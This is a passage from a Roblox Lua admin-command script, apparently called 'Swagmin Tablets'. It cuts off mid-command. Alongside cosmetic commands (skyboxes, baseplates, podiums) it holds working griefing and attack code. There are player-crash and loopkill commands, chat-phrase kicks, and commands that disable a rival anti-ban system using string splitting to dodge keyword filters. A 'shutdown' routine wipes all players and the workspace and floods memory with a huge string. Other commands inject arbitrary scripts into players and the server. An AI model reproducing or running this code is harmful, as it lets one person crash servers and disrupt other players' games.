  2134.                 Base.BrickColor = BrickColor.new("Bright green")
  2135.                 Base.Size = Vector3.new(2048,2,2048)
  2136.                 Base.CFrame = CFrame.new(0,0,0)
  2137.                 Output2("Made a baseplate",{Colors.Red},LocalPlayer)
  2138.         end
  2139. )
  2140. AddCommand('Allow','ap',
  2141.         function(Msg,Speaker)
  2142.                 for _,p in pairs(GetPlayers(Msg,Speaker)) do
  2143.                         table.insert(allowed,p.Name)
  2144.                 end
  2145.         end
  2146. )
  2147. AddCommand('Get Rid Of','gtfo',
  2148.         function(Msg,Speaker)
  2149.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2150.                         pcall(function()
  2151.                                 GTFO(v)
  2152.                                 Output2("It seems as if"..v.Name.."has gotten teh f*ck out",{Colors.Red},LocalPlayer)
  2153.                         end)
  2154.                 end
  2155.         end
  2156. )
  2157. AddCommand('For Noob Camballers','Lolno',
  2158.         function(Msg,Speaker)
  2159.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2160.                         pcall(function()
  2161.                                 crash(v)
  2162.                                 Output2("It seems as if"..v.Name.."has gotten teh f*ck out",{Colors.Red},LocalPlayer)
  2163.                         end)
  2164.                 end
  2165.         end
  2166. )
  2167. AddCommand('Clean','clean',
  2168.         function(Msg,Speaker)
  2169.                 for a,b in pairs(game.Workspace:GetChildren()) do
  2170.                         if not game.Players:GetPlayerFromCharacter(b) and b.Name ~= 'Base' and b.Name ~= 'Camera' then
  2171.                                 pcall(function() b:Destroy() end)
  2172.                         end
  2173.                 end
  2174.                 if game.Workspace:findFirstChild('Base') == nil then
  2175.                         local Base = Instance.new("Part",Game.Workspace)
  2176.                         Base.Name = "Base"
  2177.                         Base.Anchored = true
  2178.                         Base.Locked = true
  2179.                         Base.BrickColor = BrickColor.new("Bright green")
  2180.                         Base.Size = Vector3.new(2048,2,2048)
  2181.                         Base.CFrame = CFrame.new(0,0,0)
  2182.                 end
  2183.                 Output('You have cleaned workspace!',{Colors.Red},LocalPlayer)
  2184.         end
  2185. )
  2186. AddCommand('Spam a text','spam',
  2187.         function (Msg,Speaker)
  2188.                 for i = 1,100,1 do
  2189.                         Chat(""..Msg.."")
  2190.                         Wait()
  2191.                 end
  2192.         end
  2193. )
  2194. AddCommand('Disable cb'..'a','removecb'..'a',
  2195.         function(m,s)
  2196.                 local lol=Instance.new("StringValue")
  2197.                 lol.Name="CB".."A Attachment"
  2198.                 lol.Value=[[CB]]..[[A.remove]]..[[=false;]]
  2199.                 lol.Parent = game:GetService("Workspace")
  2200.                 Output('You have disabled ' .. 'cb'..'a',{Color3.new(0,1,0)},LocalPlayer)
  2201.         end
  2202. )
  2203. AddCommand('Override cb'..'a        a'..'b','overcb'..'a',
  2204.         function(m,s)
  2205.                 local lol=Instance.new("StringValue")
  2206.                 lol.Name="CB".."A Attachment"
  2207.                 lol.Value=[[CB]]..[[A.overrid]]..[[e=true;]]
  2208.                 lol.Parent = game:GetService("Workspace")
  2209.                 wait()
  2210.                 lol:Destroy()
  2211.                 Output('You have overriden ' .. 'cb'..'a antiba'..'n',{Color3.new(0,1,0)},LocalPlayer)
  2212.         end
  2213. )
  2214. AddCommand('Character name','name',
  2215.         function(Msg,Speaker)
  2216.                 if #Msg == 0 then
  2217.                         CharacterName = LocalPlayer.Name
  2218.                 else
  2219.                         CharacterName = Msg
  2220.                 end
  2221.                 LoadCharacter(CFrame.new(0,50,0))
  2222.         end
  2223. )
  2224. AddCommand("Remove Tools","rtools",
  2225.         function(Msg,Speaker)
  2226.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2227.                         v.Backpack:ClearAllChildren()
  2228.                         Output2("Removed : "..v.Name.."'s Backpack",{Colors.Red},LocalPlayer)
  2229.                 end
  2230.         end
  2231. )
  2232. AddCommand("Remove Backpack","rpack",
  2233.         function(Msg,Speaker)
  2234.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2235.                         v.Backpack:remove()
  2236.                         Output2("Removed : "..v.Name.."'s Backpack",{Colors.Red},LocalPlayer)
  2237.                 end
  2238.         end
  2239. )
  2240. AddCommand("Base","nbase",
  2241.         function(Msg,Speaker)
  2242.                 pcall(function() workspace.Base:Remove() end)
  2243.                 local Base = Instance.new("Part",Workspace)
  2244.                 Base.Name = "Base"
  2245.                 Base.Anchored = true
  2246.                 Base.Locked = true
  2247.                 Base.BrickColor = BrickColor.new("Bright green")
  2248.                 Base.Size = Vector3.new(2048,2,2048)
  2249.                 Base.CFrame = CFrame.new(0,0,0)
  2250.                 Output2("Made A New Base",{Colors.Red},LocalPlayer)
  2251.         end
  2252. )
  2253. AddCommand('Loopkill','lk',
  2254.         function(Msg,Speaker)
  2255.                 for _,Target in pairs(GetPlayers(Msg,Speaker)) do
  2256.                         --Target= p
  2257.                         Num = 0
  2258.                         Msg = Instance.new('Hint',game.Workspace)
  2259.                         Delay(0,function()
  2260.                                 while wait() do
  2261.                                         if Target:findFirstChild('LK') ~= nil then
  2262.                                                 c = Instance.new('ObjectValue')
  2263.                                                 c.Parent = Target.Character.Humanoid
  2264.                                                 c.Value = game.Players.NameHere
  2265.                                                 c.Name = 'creator'
  2266.                                                 Num = Num + 1
  2267.                                                 wait(0.1)
  2268.                                                 Target.Character.Humanoid.Health = 0
  2269.                                                 wait(0.01)
  2270.                                                 Target.Character.Parent = game.Lighting
  2271.                                                 wait(0.01)
  2272.                                                 c:remove()
  2273.                                                 wait(0.01)
  2274.                                                 Target.Character.Parent = game.Workspace
  2275.                                                 Msg.Text = Target.Name .. ' has been loopkilled ' .. Num .. ' times!'
  2276.                                         end
  2277.                                 end
  2278.                         end)
  2279.                         Instance.new('StringValue',Target).Name = 'LK'
  2280.                         Output2('Loop killed ' .. Target.Name,{Colors.Red},LocalPlayer)
  2281.                 end
  2282.         end
  2283. )
  2284. AddCommand('Un loopkill','unlk',
  2285.         function(Msg,Speaker)
  2286.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2287.                         if v:findFirstChild('LK') then
  2288.                                 v.LK:Destroy()
  2289.                                 Output2('Un loopkilled ' .. v.Name,{Colors.Red},LocalPlayer)
  2290.                         else
  2291.                                 Output2(v.Name .. ' was never loopkilled!',{Colors.Red},LocalPlayer)
  2292.                         end
  2293.                 end
  2294.         end
  2295. )
  2296. game:service'Players'.ChildAdded:connect(
  2297.         function(p)
  2298.                 if p:IsA("Player") then
  2299.                         table.insert(PLOG,player.Name)
  2300.                         if not Removed then
  2301.                                 p:WaitForDataReady()
  2302.                                 for _,n in pairs(banlist) do
  2303.                                         if p.Name:lower():sub(1,#n) == n:lower() then
  2304.                                                 p:Destroy()
  2305.                                         end
  2306.                                 end
  2307.                         end
  2308.                 end
  2309.         end
  2310. )
  2311. --Output('Hello ' .. LocalPlayer.Name,{Colors.Red},LocalPlayer)
  2312. --Output('Your Tablets Have Loaded Successfully',{Colors.Red},LocalPlayer)
  2313. --Output('The Key Is ' .. Bet,{Colors.Red},LocalPlayer)
  2314. --Output('Enjoy The Tablets',{Colors.Red},LocalPLayer)
  2315. Output('Advanced CMDS loaded Successfully',{Colors.Red},LocalPLayer)
  2316. Output('Initiated Advanced Protocols',{Colors.Red},LocalPLayer)
  2317. Output('Strings Loaded-No Errors',{Colors.Red},LocalPLayer)
  2318. Output('Welcome',{Colors.Red},LocalPLayer)
  2319. Output('Interface Compatibility Is Set To True',{Colors.Red},LocalPLayer)
  2320. Output('All Script Lines Clean',{Colors.Red},LocalPLayer)
  2321. Output2('Version:'..Version..' ',{Colors.Red},LocalPlayer)
  2322. if game.PlaceId == 113456 then
  2323.         SourceName = 'Source'
  2324.         AddCommand('Newlocal','nl',
  2325.                 function(Msg,Speaker)
  2326.                         local g = Msg:find(Bet)
  2327.                         for _,b in pairs(GetPlayers(Msg:sub(1,g-1),Speaker)) do
  2328.                                 newLocalScript(Msg:sub(g+1),b.Backpack)
  2329.                                 Output('You have made a script in ' .. b.Name .. "'s backpack",{Colors.Red},LocalPlayer)
  2330.                         end
  2331.                 end
  2332.         )
  2333.         AddCommand('Newscript','ns',
  2334.                 function(Msg,Speaker)
  2335.                         local g = Msg:find(Bet)
  2336.                         Sour = Msg:sub(g+1)
  2337.                         Pla = Msg:sub(1,g-1)
  2338.                         for _,b in pairs(GetPlayers(Pla,Speaker)) do
  2339.                                 newScript(Sour,Pla.Character)
  2340.                         end
  2341.                 end
  2342.         )
  2343.         AddCommand('Script','s',
  2344.                 function(Msg,Speaker)
  2345.                                 newScript(Msg,game.Workspace)
  2346.                 end
  2347.         )
  2348.         AddCommand('Local','l',
  2349.                 function(Msg,Speaker)
  2350.                         newLocalScript(Msg,Speaker:findFirstChild('Backpack'))
  2351.                 end
  2352.         )
  2353. end
  2354. Delay(0,function()
  2355. while wait() do
  2356. for _,p in pairs(game.Players:GetPlayers()) do
  2357.         for _,n in pairs(banlist) do
  2358.                 if p.Name:lower():sub(1,#n) == n:lower() then
  2359.                         table.insert(atmp,p.Name)
  2360.                         p:Destroy()
  2361.                         Output2('A Banned Player Is Attempting To Join : ' .. p.Name,{Color3.new(0,-1,-2)},LocalPlayer)
  2362.                 end
  2363.         end
  2364.   p.Chatted:connect(function(Msg)
  2365.                         for _,s in pairs(KickingPhrases) do
  2366.                                 fund = false
  2367.                                 if Msg:find(s) and fund == false and check(p) == false then
  2368.                                         fund = true
  2369.                                         p:Destroy()
  2370.                                         if LocalPlayer then Output(p.Name .. ' has been ki'..'cked for chatting ' .. s,{Colors.Red},LocalPlayer)
  2371. end
  2372.                                 end
  2373.                         end
  2374.                 end)
  2375.         end
  2376.         end
  2377. end)
  2378. AddCommand("Give your self a Podium","podium",
  2379.     function(Msg,Speaker)
  2380.         local MainColor = Color3.new(0,0,0)
  2381.         local SeccondaryColor = Color3.new(0,1,0)
  2382.         local Main = Instance.new("Model",workspace) Main.Name = "Podium"
  2383.         local MainCFrame = LocalPlayer.Character.Torso.CFrame
  2384.             * CFrame.new(0,-4,0)
  2385.             + LocalPlayer.Character.Torso.CFrame.lookVector*3
  2386.         local SeccondaryCFrame = LocalPlayer.Character.Torso.CFrame
  2387.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  2388.             + LocalPlayer.Character.Torso.CFrame.lookVector*3
  2389.         if CFrame == nil then return end    
  2390.         coroutine.resume(coroutine.create(function()
  2391.        
  2392.             for i=1,25 do
  2393.                 wait()
  2394.                 local Step = Instance.new("Part",Main)
  2395.                 Step.FormFactor = "Custom"
  2396.                 Step.Name = "Step"
  2397.                 Step.Anchored = true
  2398.                 Step.Locked = true
  2399.                 Step.Reflectance = 0
  2400.                 Step.TopSurface = "Smooth"
  2401.                 Step.BottomSurface = "Smooth"
  2402.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  2403.                 Step.Size = Vector3.new(6,1,3)
  2404.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  2405.                 Instance.new("BlockMesh",Step)
  2406.                
  2407.                 local Carpet = Instance.new("Part",Main)
  2408.                 Carpet.FormFactor = "Custom"
  2409.                 Carpet.Name = "Carpet"
  2410.                 Carpet.Anchored = true
  2411.                 Carpet.Locked = true
  2412.                 Carpet.Reflectance = 0
  2413.                 Carpet.TopSurface = "Smooth"
  2414.                 Carpet.BottomSurface = "Smooth"
  2415.                 Carpet.BrickColor = BrickColor.new(MainColor)
  2416.                 Carpet.Size = Vector3.new(4,1,3.2)
  2417.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  2418.                 Instance.new("BlockMesh",Carpet)  
  2419.             end    
  2420.             local MainCirc = Instance.new("Part",Main)
  2421.             MainCirc.FormFactor = "Custom"
  2422.             MainCirc.Name = "MainCirc"
  2423.             MainCirc.Anchored = true
  2424.             MainCirc.Locked = true
  2425.             MainCirc.Reflectance = 0
  2426.             MainCirc.TopSurface = "Smooth"
  2427.             MainCirc.BottomSurface = "Smooth"
  2428.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  2429.             MainCirc.Size = Vector3.new(20,1,20)
  2430.             MainCirc.CFrame = SeccondaryCFrame
  2431.             Instance.new("CylinderMesh",MainCirc)
  2432.            
  2433.             local SeccondaryCirc = Instance.new("Part",Main)
  2434.             SeccondaryCirc.FormFactor = "Custom"
  2435.             SeccondaryCirc.Name = "SeccondaryCirc"
  2436.             SeccondaryCirc.Anchored = true
  2437.             SeccondaryCirc.Locked = true
  2438.             SeccondaryCirc.Reflectance = 0
  2439.             SeccondaryCirc.TopSurface = "Smooth"
  2440.             SeccondaryCirc.BottomSurface = "Smooth"
  2441.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  2442.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  2443.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  2444.             Instance.new("CylinderMesh",SeccondaryCirc)
  2445.             for i=1,math.floor(360/6) do
  2446.                 local Spike = Instance.new("Part",Main)
  2447.                 Spike.FormFactor = "Custom"
  2448.                 Spike.Name = "Spike"
  2449.                 Spike.Anchored = true
  2450.                 Spike.Locked = true
  2451.                 Spike.Reflectance = 0
  2452.                 Spike.TopSurface = "Smooth"
  2453.                 Spike.BottomSurface = "Smooth"
  2454.                 Spike.BrickColor = BrickColor.new(MainColor)
  2455.                 Spike.Size = Vector3.new(1,7,1)
  2456.                 Spike.CFrame = SeccondaryCFrame
  2457.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  2458.                     * CFrame.new(7,-7,0)
  2459.                 Torch = Instance.new("Part",Main)
  2460.                 Torch.Reflectance = 1e+999
  2461.                 Torch.FormFactor = "Custom"
  2462.                 Torch.Shape = "Ball"
  2463.                 Torch.Anchored = true
  2464.                 Torch.Locked = true
  2465.                 Torch.Size = Vector3.new(2,2,2)
  2466.                 Torch.CFrame = Spike.CFrame
  2467.                     * CFrame.new(0,3.5,0)
  2468.                     * CFrame.Angles(0,0,0)
  2469.                 Instance.new("Fire",Torch)
  2470.             end
  2471.         end))
  2472.     end
  2473. )
  2474.  
  2475.  
  2476. AddCommand("Give someone else a Podium","gpodium",
  2477.     function(Msg,Speaker)
  2478.            for i,v in pairs(GetPlayers(Msg,Speaker)) do
  2479.         local MainColor = Color3.new(0,0,0)
  2480.         local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  2481.         local Main = Instance.new("Model",workspace) Main.Name = "Podium"
  2482.         local MainCFrame = v.Character.Torso.CFrame
  2483.             * CFrame.new(0,-4,0)
  2484.             + v.Character.Torso.CFrame.lookVector*3
  2485.         local SeccondaryCFrame = v.Character.Torso.CFrame
  2486.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  2487.             + v.Character.Torso.CFrame.lookVector*3
  2488.         if CFrame == nil then return end    
  2489.         coroutine.resume(coroutine.create(function()
  2490.        
  2491.             for i=1,25 do
  2492.                 wait()
  2493.                 local Step = Instance.new("Part",Main)
  2494.                 Step.FormFactor = "Custom"
  2495.                 Step.Name = "Step"
  2496.                 Step.Anchored = true
  2497.                 Step.Locked = true
  2498.                 Step.Reflectance = 0
  2499.                 Step.TopSurface = "Smooth"
  2500.                 Step.BottomSurface = "Smooth"
  2501.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  2502.                 Step.Size = Vector3.new(6,1,3)
  2503.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  2504.                 Instance.new("BlockMesh",Step)
  2505.                
  2506.                 local Carpet = Instance.new("Part",Main)
  2507.                 Carpet.FormFactor = "Custom"
  2508.                 Carpet.Name = "Carpet"
  2509.                 Carpet.Anchored = true
  2510.                 Carpet.Locked = true
  2511.                 Carpet.Reflectance = 0
  2512.                 Carpet.TopSurface = "Smooth"
  2513.                 Carpet.BottomSurface = "Smooth"
  2514.                 Carpet.BrickColor = BrickColor.new(MainColor)
  2515.                 Carpet.Size = Vector3.new(4,1,3.2)
  2516.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  2517.                 Instance.new("BlockMesh",Carpet)  
  2518.             end    
  2519.             local MainCirc = Instance.new("Part",Main)
  2520.             MainCirc.FormFactor = "Custom"
  2521.             MainCirc.Name = "MainCirc"
  2522.             MainCirc.Anchored = true
  2523.             MainCirc.Locked = true
  2524.             MainCirc.Reflectance = 0
  2525.             MainCirc.TopSurface = "Smooth"
  2526.             MainCirc.BottomSurface = "Smooth"
  2527.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  2528.             MainCirc.Size = Vector3.new(20,1,20)
  2529.             MainCirc.CFrame = SeccondaryCFrame
  2530.             Instance.new("CylinderMesh",MainCirc)
  2531.            
  2532.             local SeccondaryCirc = Instance.new("Part",Main)
  2533.             SeccondaryCirc.FormFactor = "Custom"
  2534.             SeccondaryCirc.Name = "SeccondaryCirc"
  2535.             SeccondaryCirc.Anchored = true
  2536.             SeccondaryCirc.Locked = true
  2537.             SeccondaryCirc.Reflectance = 0
  2538.             SeccondaryCirc.TopSurface = "Smooth"
  2539.             SeccondaryCirc.BottomSurface = "Smooth"
  2540.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  2541.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  2542.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  2543.             Instance.new("CylinderMesh",SeccondaryCirc)
  2544.             for i=1,math.floor(360/6) do
  2545.                 local Spike = Instance.new("Part",Main)
  2546.                 Spike.FormFactor = "Custom"
  2547.                 Spike.Name = "Spike"
  2548.                 Spike.Anchored = true
  2549.                 Spike.Locked = true
  2550.                 Spike.Reflectance = 0
  2551.                 Spike.TopSurface = "Smooth"
  2552.                 Spike.BottomSurface = "Smooth"
  2553.                 Spike.BrickColor = BrickColor.new(MainColor)
  2554.                 Spike.Size = Vector3.new(1,7,1)
  2555.                 Spike.CFrame = SeccondaryCFrame
  2556.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  2557.                     * CFrame.new(7,-7,0)
  2558.                 Torch = Instance.new("Part",Main)
  2559.                 Torch.Reflectance = 1e+999
  2560.                 Torch.FormFactor = "Custom"
  2561.                 Torch.Shape = "Ball"
  2562.                 Torch.Anchored = true
  2563.                 Torch.Locked = true
  2564.                 Torch.Size = Vector3.new(2,2,2)
  2565.                 Torch.CFrame = Spike.CFrame
  2566.                     * CFrame.new(0,3.5,0)
  2567.                     * CFrame.Angles(0,0,0)
  2568.                 Instance.new("Fire",Torch)
  2569.             end
  2570.         end))
  2571.             end
  2572.         end
  2573. )
  2574. AddCommand('Shu'..'tdown','sd',
  2575.         function(Msg,Speaker)
  2576.                 if TimeLeft == 60 then
  2577.                 for i=1,60 do
  2578.                         if CancelSd == false then
  2579.                         Output('['..LocalPlayer.Name..']: '..60-i .. ' seconds left until shu'..'tdown',{Colors.Red},LocalPlayer,1)
  2580.                         TimeLeft = 60-i
  2581.                         if 60-i==0 then
  2582.                                 Output('Shutting down',{Colors.Red},LocalPlayer,1)
  2583.                                 wait(1)
  2584.                                 Delay(0,function() while wait() do game.Players:ClearAllChildren() game.Workspace:ClearAllChildren() end end)
  2585.                                 EF = ClonyPooPoo:Clone()
  2586.                                 EF:ClearAllChildren()
  2587.                                 EFF = Instance.new('StringValue')
  2588.                                 EFF.Value = [==[
  2589.                                 Delay(0,function() while wait() do game.Players:ClearAllChildren() game.Workspace:ClearAllChildren() end end) ]==]
  2590.                                 EFF.Name = SourceName or 'DSource'
  2591.                                 EFF.Parent = EF
  2592.                                 EF.Parent = game.Workspace
  2593.                                 wait()
  2594.                                 EF.Parent = nil
  2595.                                 local S = Instance.new('StringValue') S.Parent = game.Workspace S.Value = ('xD'):rep(1000000)
  2596.                         end
  2597.                         wait(1)
  2598.                         else
  2599.                                 TimeLeft = 60-i
  2600.                                 wait(1)
  2601.                         end
  2602.                 end
  2603.                 else
  2604.                         for i=1,TimeLeft do
  2605.                                 Output(TimeLeft .. ' seconds left before you can re activate shu'..'tdown',{Colors.Red},Speaker,5)
  2606.                                 wait(1)
  2607.                         end
  2608.                         wait(1)
  2609.                         Output('You can now re attempt to shu'..'tdown',{Colors.Red},LocalPlayer,1)
  2610.                 end
  2611.         end
  2612. )
  2613. AddCommand('Opposite Chat','usechat',
  2614.         function(Msg,Speaker)
  2615.                 ChatNo = not ChatNo
  2616.         end
  2617. )
  2618. AddCommand('Recalls Load Sequence','rl',
  2619.         function(Msg,Speaker)
  2620.                 if msg == 0 or msg == nil then
  2621.                         Output('Swagmin Tablets Loaded',{Colors.Red},LocalPLayer)
  2622.                         Output('Thanks Derek1017 for updated commands',{Colors.Red},LocalPLayer)
  2623.                         Output('Initiated Advanced Protocols',{Colors.Red},LocalPLayer)
  2624.                         Output('Strings Loaded-No Errors',{Colors.Red},LocalPLayer)
  2625.                         Output('Welcome',{Colors.Red},LocalPLayer)
  2626.                         Output('Interface Compatibility Is Set To True',{Colors.Red},LocalPLayer)
  2627.                         Output('Derek1017 Is On',{Colors.Red},LocalPLayer)
  2628.                         Output('All Script Lines Clean',{Colors.Red},LocalPLayer)
  2629.                         Output2('Version:'..Version..' ',{Colors.Red},LocalPlayer)
  2630.                 end
  2631.         end
  2632. )                                                                                                
  2633. AddCommand('Turn GUI Chat off/on','Gui',
  2634.         function(Msg,Speaker)
  2635.                 if Msg:lower() == 'off' or Msg:lower() == 'false' then
  2636.                         GuiChat=false
  2637.                         Output2("Chat changed to off!",{Colors.Red},LocalPlayer)
  2638.                 elseif Msg:lower() == 'on' or Msg:lower() == 'true' then
  2639.                         GuiChat=true
  2640.                         Output2("Chat changed to on!",{Colors.Red},LocalPlayer)
  2641.                 else
  2642.                         Output2("The Argument must be true/false " .. Msg,{Colors.Red},LocalPlayer)
  2643.                 end
  2644.         end
  2645. )
  2646. AddCommand('Cancle sd','a'..'bort',
  2647.         function(Msg,Speaker)
  2648.                 CancelSd = true
  2649.                 Output('Shu'..'tdown aborted',{Colors.Red},LocalPlayer)
  2650.                 wait(TimeLeft+5)
  2651.                 TimeLeft = 60
  2652.                 CancelSd= false
  2653.         end
  2654. )
  2655. AddCommand('Show credits','cred',
  2656.         function(Msg,Speaker)
  2657.                 for _,Cred in pairs(Credits) do
  2658.                         Output(Cred.Name .. ' for ' .. Cred.Why,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2659.                 end
  2660.         end
  2661. )
  2662. Delay(10,function()
  2663.         while wait() and not Removed do
  2664.                 if NormPooPoo == nil then
  2665.                         DS = game:findFirstChild('DSource',true)
  2666.                         if DS ~= nil and DS.Parent.ClassName == 'Script' then
  2667.                                 NormPooPoo = DS.Parent:Clone()
  2668.                                 Output2('New script entered WS',{Colors.Red},Speaker)
  2669.                                 pcall(function()
  2670.                                         AddCommand('Script','scr',
  2671.                                                 function(Msg,Speaker)
  2672.                                                         if NormPooPoo ~= nil then
  2673.                                                                 local Clony = NormPooPoo:Clone()
  2674.                                                                 Clony:ClearAllChildren()
  2675.                                                                 local Sour = Instance.new('StringValue',Clony)
  2676.                                                                 Sour.Name = SourceName
  2677.                                                                 Sour.Value = Msg
  2678.                                                                 Clony.Disabled = true
  2679.                                                                 Clony.Parent = game.Workspace
  2680.                                                                 Clony.Disabled = false
  2681.                                                                 Output('Normal script ran',{Colors.Red},Speaker)
  2682.                                                         else
  2683.                                                                 Output('Normal Script is nil',{Colors.Red},Speaker)
  2684.                                                         end
  2685.                                                 end
  2686.                                         )
  2687.                                 end)
  2688.                                 Output2('Script CMD added',{Colors.Red},Speaker)
  2689.                         end
  2690.                 end
  2691.         end
  2692. end)
  2693. AddCommand('Fix lighting','flig',
  2694.         function(Msg,Speaker)
  2695.                 game.Lighting.Ambient = Color3.new(255,255,255)
  2696.                 local sky = Instance.new("Sky")
  2697.                 sky.Parent = game.Lighting
  2698.                 sky.SkyboxBk = "http://www.roblox.com/asset?id=58372690"
  2699.                 sky.SkyboxDn = "http://www.roblox.com/asset?id=58372722"
  2700.                 sky.SkyboxFt = "http://www.roblox.com/asset?id=58372742"
  2701.                 sky.SkyboxLf = "http://www.roblox.com/asset?id=58372777"
  2702.                 sky.SkyboxRt = "http://www.roblox.com/asset?id=58372794"
  2703.                 sky.SkyboxUp = "http://www.roblox.com/asset?id=58372812"
  2704.                 game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
  2705.                 game.Lighting.ColorShift_Top = Color3.new(0,0,0)
  2706.                 game.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2707.                 game.Lighting.Brightness = 0.2
  2708.                 game.Lighting.FogStart = 0
  2709.                 game.Lighting.FogEnd = 100000
  2710.                 game.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2711.                 game.Lighting.TimeOfDay = 12
  2712.                 Output('Debuged lighting',{Colors.Red},Speaker)
  2713.         end
  2714. )
  2715. AddCommand('Nyan','nyan',
  2716.         function(Msg,Speaker)
  2717.                 local sky = Instance.new("Sky")
  2718.                 sky.Parent = game.Lighting
  2719.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=55987937"
  2720.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=55987937"
  2721.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=55987937"
  2722.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=55987937"
  2723.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=55987937"
  2724.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=55987937"
  2725.         end
  2726. )
  2727. AddCommand('Flames','flame',
  2728.         function(Msg,Speaker)
  2729.                 local sky = Instance.new("Sky")
  2730.                 sky.Parent = game.Lighting
  2731.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=26356415"
  2732.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=26356415"
  2733.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=26356415"
  2734.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=26356415"
  2735.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=26356415"
  2736.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=26356415"
  2737.         end
  2738. )
  2739. AddCommand('Slenderman','slender',
  2740.         function(Msg,Speaker)
  2741.                 local sky = Instance.new("Sky")
  2742.                 sky.Parent = game.Lighting
  2743.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=90199618"
  2744.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=90199618"
  2745.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=90199618"
  2746.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=90199618"
  2747.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=90199618"
  2748.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=90199618"
  2749.         end
  2750. )
  2751. AddCommand('Pacman','pacman',
  2752.         function(Msg,Speaker)
  2753.                 local sky = Instance.new("Sky")
  2754.                 sky.Parent = game.Lighting
  2755.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=29497998"
  2756.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=29497998"
  2757.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=29497998"
  2758.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=29497998"
  2759.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=29497998"
  2760.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=29497998"
  2761.         end
  2762. )
  2763. AddCommand('Troll','Tr',
  2764.         function(Msg,Speaker)
  2765.                 local sky = Instance.new("Sky")
  2766.                 sky.Parent = game.Lighting
  2767.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=23881644"
  2768.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=23881644"
  2769.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=23881644"
  2770.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=23881644"
  2771.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=23881644"
  2772.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=23881644"
  2773.         end
  2774. )
  2775. AddCommand('Shedletsky','Shedlet',
  2776.         function(Msg,Speaker)
  2777.                 local sky = Instance.new("Sky")
  2778.                 sky.Parent = game.Lighting
  2779.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=92767799"
  2780.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=92767799"
  2781.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=92767799"
  2782.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=92767799"
  2783.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=92767799"
  2784.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=92767799"
  2785.         end
  2786. )
  2787. AddCommand('Lua','Lua',
  2788.         function(Msg,Speaker)
  2789.                 local sky = Instance.new("Sky")
  2790.                 sky.Parent = game.Lighting
  2791.                 sky.SkyboxBk = "http://www.roblox.com/asset/?id=66825616"
  2792.                 sky.SkyboxDn = "http://www.roblox.com/asset/?id=66825616"
  2793.                 sky.SkyboxFt = "http://www.roblox.com/asset/?id=66825616"
  2794.                 sky.SkyboxLf = "http://www.roblox.com/asset/?id=66825616"
  2795.                 sky.SkyboxRt = "http://www.roblox.com/asset/?id=66825616"
  2796.                 sky.SkyboxUp = "http://www.roblox.com/asset/?id=66825616"
  2797.         end
  2798. )
  2799. AddCommand('Knock Out','ko',
  2800.         function(Msg,Speaker)
  2801.                 for _,Target in pairs(GetPlayers(Msg,Speaker)) do
  2802.                         JD = 1000
  2803.                         Output2("KO'ing " .. Target.Name .. ' 1000 times',{Colors.Red},Speaker)
  2804.                         for i=1, JD do
  2805.                                 c = Instance.new('ObjectValue')
